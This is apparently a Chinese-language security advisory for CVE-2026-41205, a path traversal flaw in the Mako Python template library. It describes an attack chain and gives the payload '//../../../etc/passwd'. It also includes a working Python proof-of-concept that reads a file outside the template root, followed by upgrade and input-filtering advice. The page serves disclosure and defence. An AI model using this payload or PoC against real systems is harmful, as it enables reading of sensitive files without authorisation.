IPBUF安全漏洞报告
English
CVE-2026-41205 CVSS 7.5 高危

CVE-2026-41205 Mako模板库路径遍历漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41205
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Mako

相关标签

路径遍历MakoPythonCVE-2026-41205任意文件读取

漏洞概述

Mako是一个用Python编写的模板库。在1.3.11版本之前,其TemplateLookup.get_template()函数存在严重的路径遍历安全漏洞。当传入的URI字符串以双斜杠"//"开头时(例如"//../../../secret.txt"),由于斜杠去除实现的不一致性,攻击者可以利用此缺陷绕过目录限制。如果应用程序将未受信任的用户输入直接传递给该函数,攻击者即可读取服务器上该进程有权访问的任意敏感文件内容。

技术细节

该漏洞的核心在于Mako库处理模板URI时,用于规范化和清理路径的斜杠去除机制存在逻辑缺陷。具体来说,当URI以"//"开头时,代码中的不同处理模块对斜杠的处理方式不一致,导致安全校验失效。攻击者通过构造包含"//"与目录遍历序列"../"的特殊字符串(如"//../../../etc/passwd")作为模板名称传入get_template()函数。由于校验机制被绕过,解析器未能正确限制路径在预定义的模板根目录内,反而允许向上回溯至系统根目录。这使得攻击者能够读取应用程序运行权限范围内的任意文件,包括配置文件、源代码或其他敏感数据,从而导致信息泄露。

攻击链分析

STEP 1
侦察
攻击者识别目标应用程序使用了Mako模板库,且版本低于1.3.11,并确认存在将用户输入直接传递给TemplateLookup.get_template()的接口。
STEP 2
构造攻击载荷
攻击者构造特殊的URI字符串,以双斜杠'//'开头,并结合路径遍历字符'../',例如'//../../../etc/passwd',旨在读取系统敏感文件。
STEP 3
发送恶意请求
攻击者通过应用程序的输入接口(如HTTP参数)发送构造好的恶意载荷。
STEP 4
路径解析与文件读取
由于Mako库处理斜杠的逻辑缺陷,应用程序未能正确过滤路径,导致解析器跳出模板根目录,读取并返回了攻击者指定的文件内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-41205: Mako TemplateLookup Path Traversal # This demonstrates how a URI starting with '//' can lead to arbitrary file read. from mako.lookup import TemplateLookup import os # Simulating a vulnerable application setup # Assuming the application restricts templates to './templates' directory lookup = TemplateLookup(directories=['./templates'], filesystem_checks=True) # Create a dummy file outside the template root to test reading secret_file_path = '../secret.txt' with open(secret_file_path, 'w') as f: f.write('Sensitive Data: POC_SUCCESS') print("Attempting to exploit CVE-2026-41205...") # The attack vector: URI starting with '//' followed by path traversal # This targets the file created outside the templates directory malicious_uri = "//../../../secret.txt" try: # In vulnerable versions (< 1.3.11), get_template() processes the URI incorrectly # due to inconsistent slash stripping, allowing directory traversal. template = lookup.get_template(malicious_uri) result = template.render() print(f"[+] Exploit Successful! Read file content: {result.strip()}") except Exception as e: print(f"[-] Exploit Failed or Patched: {e}") # Cleanup if os.path.exists(secret_file_path): os.remove(secret_file_path)

影响范围

Mako < 1.3.11

防御指南

临时缓解措施
建议立即升级Mako库至安全版本1.3.11。若暂时无法升级,应实施严格的输入过滤机制,确保传入的模板名称不包含"//"、".."等特殊字符,或使用白名单机制限制允许访问的模板文件名。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表